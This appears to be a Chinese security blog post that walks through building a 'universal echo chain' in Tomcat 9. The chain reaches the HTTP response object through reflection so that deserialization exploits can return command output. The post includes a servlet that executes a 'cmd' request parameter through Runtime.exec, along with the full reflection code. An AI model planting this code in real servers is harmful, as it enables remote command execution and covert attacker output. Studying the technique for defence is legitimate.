Java安全之基于Tomcat的通用回显链
Java安全之基于Tomcat的通用回显链
写在前面
首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力。其次是回顾下反射中有关Field类的一些操作。
* Field[] getFields() :获取所有public修饰的成员变量
* Field getField(String name) 获取指定名称的 public修饰的成员变量
* Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
* Field getDeclaredField(String name)
Field:成员变量
* 操作:
1. 设置值
* void set(Object obj, Object value)
2. 获取值
* get(Object obj)
3. 忽略访问权限修饰符的安全检查
* setAccessible(true):暴力反射
getField和getDeclaredField区别:
getField
获取一个类的 ==public成员变量,包括基类== 。
getDeclaredField
获取一个类的 ==所有成员变量,不包括基类== 。
Tomcat 通用回显
是Litch1师傅提出的一个思路,通过找Tomcat中全局存储的request或response对象,进而挖掘出一种在Tomcat下可以通杀的回显链。依据师傅的文章进行调试。
调试前先解决一个问题,普通的一个命令执行是如何进行回显的。
代码如下:整体流程就是通过request对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为InputStream,通过response对象resp.getWriter().write()方法输出命令执行的结果,从而在页面获得回显。
@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req,resp);
}
}

调试分析
那么在回显链中也就需要我们拿到response对象。
如果需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程。
这里起了一个Tomcat9.0.24做测试,debug后观察调用栈,进入文章中提到的Http11Processor类

在该类的父类AbstractProcessor中,存在request和response对象,并且是final修饰的,那么就不可以被直接修改,且该request和response符合我们的预期,我们可以通过这里的request和response对象构造回显。

接下来就是往前寻找这个类在什么地方进行初始化的,这样拿到Http11Processor对象就可以获取到request和response对象了。
在 AbstractProtocol$ConnectionHandler (org.apache.coyote)中发现已经生成了Http1Processor对象

register方法中处理如下:最终是将一个RequestGroupInfo对象放到了AbstractProtocol的内部类ConnectionHandler中的global属性

而RequestGroupInfo存储了一个RequestInfo的List在RequestInfo中就包含了Request对象,那么可以通过Request对象来拿到我们最终的Response (Request.getResponse())。

调用流程如下:
AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。
后面就是要找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)。发现在CoyoteAdapter类中的connector属性有很多处理Request的操作,跟进查看后Connector中存在ProtocolHandler类型的Field,而ProtocolHandler的实现类中就存在AbstractProtocol

而在Tomcat启动过程红会将Connector放入Service中,这里的Service为StandardService。

所以调用链变为
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
而获取StandardService就变成了现在的关键,文中给出的是通过线程上下文类加载器,WebappClassLoaderBase
Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
最后的调用链为
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
回显链构造与分析
先放上代码
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
/*
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
*/
//0x01 首先通过WebappClassLoaderBase来拿到StandardContext上下文
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
//0x02 反射获取ApplicationContext上下文。抛出疑问1:为什么要拿这个上下文?
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
//0x03 反射获取StandardService类型的属性service的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
//0x04 反射获取StandardService中的Connectors数组
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
//0x04 反射获取protocolHandler,为后续获取RequestGroupInfo数组作准备
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
//0x05 反射获取AbstractProtocol list。抛出疑问2:为什么要用getDeclaredClasses()?
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
//这里的classes数组为内置类,AbstractProtocol有两个内置类:ConnectionHandler、RecycledProcessors,我们需要的是ConnectionHandler
for (Class<?> declaredClass : declaredClasses) {
//通过全限定类名长度筛选出ConnectionHandler
if (declaredClass.getName().length()==52){
// 0x06 获取getHandler方法,为后续获取global属性值:RequestGroupInfo数组作准备
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
// 0x07 反射获取global属性值:RequestGroupInfo数组
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
// 0x08 反射获取RequestGroupInfo中processors,该属性值为元素类型为RequestInfo的List数组
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
// 0x09 反射获取RequestInfo中的org.apache.coyote.Request类
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
// 0x10 遍历RequestGroupInfo中processors的属性值,寻找需要的Request对象
for (RequestInfo info : requestInfo) {
org.apache.coyote.Request request = (Request) req1.get(info);
// 0x11 通过getNote()方法获取org.apache.catalina.connector.Request对象。抛出问题3:为什么要用org.apache.catalina.connector.Request对象?抛出问题4:为什么要用getNote方法获取?
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
// 0x12 拿到response对象,回显链构造完毕
org.apache.catalina.connector.Response response = request1.getResponse();
response.getWriter().write("123");
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
贴个回显命令执行结果的图庆祝一下

踩坑记录
下面对构造回显链的poc时的坑点以及疑问做一下记录:
反射:关于反射之前没有仔细学习Field类的相关方法,上面构造时经常要用到获取某个类中某个属性的值,以StandarService举例,代码如下:获取到Field对象之后需要调用field.get(context)来拿到对应属性的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
关于回显链代码中出现的两个上下文:StandardContext和ApplicationContext
首先我们通过
webappClassLoaderBase.getResources().getContext()拿到的是StandardContext但是这还不够,回显链的入口点为StandardService,而在StandardContext上下文中是没有保存StandardService的,需要先获取`StandardContext成员变量ApplicationContext进而获取Service。这点观察源码就可以发现。在Servlet中ServletContext表示web应用的上下文环境,而对应在tomcat中,ServletContext对应tomcat实现是org.apache.catalina.core.ApplicationContext,Context容器对应tomcat实现是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一个成员变量。

反射获取
AbstractProtocol为什么要用getDeclaredClasses()因为这里要获取内部类
ConnectionHandler,所以需要用到getDeclaredClasses()方法获取内部类 getDeclaredClasses()
获取外部类 getDeclaringClass()最后为什么用
org.apache.catalina.connector.Request对象来获取Responseorg.apache.coyote.Request request = (Request) req1.get(info);
// 0x11 通过getNote()方法获取org.apache.catalina.connector.Request对象。抛出问题3:为什么要用org.apache.catalina.connector.Request对象?抛出问题4:为什么要用getNote方法获取?
org.apache.catalina.connector.Request request1
这里
org.apache.coyote.Request确实有getResponse方法,也能拿到Response对象,但是看一下org.apache.coyote.Response代码和org.apache.catalina.connector.Response区别:org.apache.coyote.Response没有实现HttpServletResponse接口,也没有getWriter()等方法帮我们制造回显,所以没选择用它。

关于Request对象哪里的的getNote()方法
获取到
Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。这个方法是在org.apache.coyote.Request中定义的,详细解读可参考:https://segmentfault.com/a/1190000022261740
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象
Java安全之基于Tomcat的通用回显链的更多相关文章
- Java安全之挖掘回显链
Java安全之挖掘回显链 0x00 前言 前文中叙述反序列化回显只是为了拿到Request和Response对象.在这里说的的回显链其实就是通过一连串反射代码获取到该Request对象. 在此之前想吹 ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java安全之反序列化回显与内存马
Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...
- Java安全之反序列化回显研究
Java安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马,继续来看看反序列化回显的方式.上篇文中其实是利用中间件中存储的Request 和Response对象来进行回显.但并不止这么 ...
- 使用Ztree新增角色和编辑角色回显
最近在项目中使用到了ztree,在回显时候费了点时间,特记录下来供下次参考. 1.新增角色使用ztree加载权限,由于权限不多,所以使用直接全部加载. 效果图: 具体涉及ztree代码: jsp中导入 ...
- 基于tomcat与Spring的实现差异化配置方案
起因 在实际开发过程中经常需要加载各种各样的配置文件..比如数据库的用户名密码,要加载的组件,bean等等..但是这种配置在各个环境中经常是不一样的....比如开发环境和测试环境,真实的生产环境.. ...
- 基于Tomcat的Solr3.5集群部署
基于Tomcat的Solr3.5集群部署 一.准备工作 1.1 保证SOLR库文件版本相同 保证SOLR的lib文件版本,slf4j-log4j12-1.6.1.jar slf4j-jdk14-1.6 ...
- 基于tomcat+spring+mysql搭建的个人博客
基于tomcat和spring开发的个人博客, 服务器是基于tomcat, 用了spring框架, web.xml的配置简单明了,我们只要配置MYSQL和用户过滤器等, 服务器的jsp就是负责VIEW ...
随机推荐
- 【C++ Primer Plus】编程练习答案——第8章
1 void ch8_1_print(const std::string & str, int n = 0 ) { 2 using namespace std; 3 static int fl ...
- WCF服务调用超时错误:套接字连接已中止。这可能是由于处理消息时出错或远程主机超过接收超时或者潜在的网络资源问题导致的。本地套接字超时是“00:05:30”(已解决)
问题: 线上正式环境调用WCF服务正常,但是每次使用本地测试环境调用WCF服务时长就是出现:套接字连接已中止.这可能是由于处理消息时出错或远程主机超过接收超时或者潜在的网络资源问题导致的.本地套接字超 ...
- Java学习路线【转】
Java学习路线[转] 第一阶段:JavaSE(Java基础部分) Java开发前奏 计算机基本原理,Java语言发展简史以及开发环境的搭建,体验Java程序的开发,环境变量的设置,程序的执行过程,相 ...
- $\text {FWT}$学习笔记
\(\text {FWT}\) 学习笔记 正常项的\(\text {FWT}\) 在\(\text {OI}\)中,我们经常会碰到这种问题: 给出一个长度为\(n\)的序列\(a_{1,2,...,n ...
- 题解「2017 山东一轮集训 Day1 / SDWC2018 Day1」Set
题目传送门 题目大意 给出一个长度为 \(n\) 的数组,选出一些数异或之和为 \(s1\),其余数异或之和为 \(s2\),求 \(s1+s2\) 最大时 \(s1\) 的最小值. 思路 你发现如果 ...
- 洛谷2120 [ZJOI2007]仓库建设(斜率优化dp)
感觉和锯木厂那个题很类似的. 其实这个题还那个题唯一的区别就是\(dp\)转移式子中的\(f\)变成了\(g\) qwq不想多说了 直接看我的前一篇题解吧qwq #include<iostrea ...
- 小白自制Linux开发板 四. 通过SPI使用ESP8266做无线网卡
本文章基于 WhyCan Forum(哇酷开发者社区) https://whycan.com/t_4149.htmlhttps://whycan.com/t_5870.html整理而成. 为了尊重原作 ...
- DRF的action装饰器
1.action装饰器 Django默认的路由分发规则决定了视图函数只能以get.post等请求方式命名,如果想要使用自定义的方式命名,我们可以使用action去映射请求方法名与自定义方法 view. ...
- 自定义ConditionalOnXX注解
一.Conditional注解介绍 对SpringBoot有足够了解的小伙伴应该都用过Conditional系列注解,该注解可用在类或者方法上用于控制Bean的初始化. 常用的Conditional注 ...
- mybatis中的#和$的区别 以及 防止sql注入
声明:这是转载的. mybatis中的#和$的区别 1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号.如:order by #user_id#,如果传入的值是111,那么解析成sq ...